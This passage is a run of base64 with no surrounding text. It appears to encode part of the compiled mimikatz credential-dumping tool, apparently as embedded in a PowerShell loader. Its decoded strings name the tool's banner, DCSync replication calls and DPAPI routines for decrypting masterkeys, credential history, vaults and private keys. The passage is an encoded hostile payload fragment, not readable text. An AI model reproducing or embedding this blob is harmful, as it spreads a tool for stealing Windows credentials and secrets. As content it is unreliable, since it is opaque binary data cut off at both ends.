AQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAMAAyAHgAAAAAACUAMAAyAHgAIAAAADAAeAAlADAAMgB4ACwAIAAAAAAAXAB4ACUAMAAyAHgAAAAAAAoAQgBZAFQARQAgAGQAYQB0AGEAWwBdACAAPQAgAHsACgAJAAAAAAAJAAAACgB9ADsACgAAAAAAJQBzACAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABvAGsAZQBuAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA4ADYAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOAA6ADAAMwA6ADAANwApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABJAE4ASQBUAAAAAABDAEwARQBBAE4AAAA+AD4APgAgACUAcwAgAG8AZgAgACcAJQBzACcAIABtAG8AZAB1AGwAZQAgAGYAYQBpAGwAZQBkACAAOgAgACUAMAA4AHgACgAAAAAAOgA6AAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoAJQAxADYAcwAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAYwBvAG0AbQBhAG4AZAAgAG8AZgAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAYgBsAG8AYgAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAABwAHIAbwB0AGUAYwB0AAAAAAAAAFAAcgBvAHQAZQBjAHQAIABhACAAZABhAHQAYQAgAHYAaQBhACAAYQAgAEQAUABBAFAASQAgAGMAYQBsAGwAAABtAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAQwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAAAAAAYwBhAHAAaQAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAGMAbgBnAAAAQwBOAEcAIABrAGUAeQAgAHQAZQBzAHQAAAAAAGMAcgBlAGQAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAdgBhAHUAbAB0AAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQAgAC0AIAAAAHQAZQB4AHQAIAA6ACAAJQBzAAAAaABlAHgAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAABkAGEAdABhAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AAABlAG4AdAByAG8AcAB5AAAAbQBhAGMAaABpAG4AZQAAAHAAcgBvAG0AcAB0AAAAAABjAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAcgBvAHQAZQBjAHQAIAA7ACAAQwByAHkAcAB0AFAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdABlAGMAdABlAGQAAABzAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGgAYQBzAGgAAAAAAHMAeQBzAHQAZQBtAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAgACoAIABtAGEAcwB0AGUAcgBrAGUAeQAgACAAIAAgACAAOgAgAAAAIAA+ACAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAIAAgADoAIAAAACAAPgAgAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAACgBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAgACAAQQBFAFMAMQAyADgAIABrAGUAeQA6ACAAAAAAACAAIABBAEUAUwAyADUANgAgAGsAZQB5ADoAIAAAAAAAIAAgAD4AIABBAHQAdAByAGkAYgB1AHQAZQAgACUAdQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABJAG4AcAB1AHQAIABDAHIAZQBkACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGMAcgBlAGQAOgBmAGkAbABlACkACgAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAABIajFkaVE2a3BVeDdWQzRtAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAByAGEAdwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGsAZQB5AHMAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAASQBuAHAAdQB0ACAAQwBBAFAASQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUAByAGkAdgBhAHQAZQAgAFAAcgBvAHAAZQByAHQAaQBlAHMAOgAKAAAANmpua2Q1SjNaZFFEdHJzdQAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0AC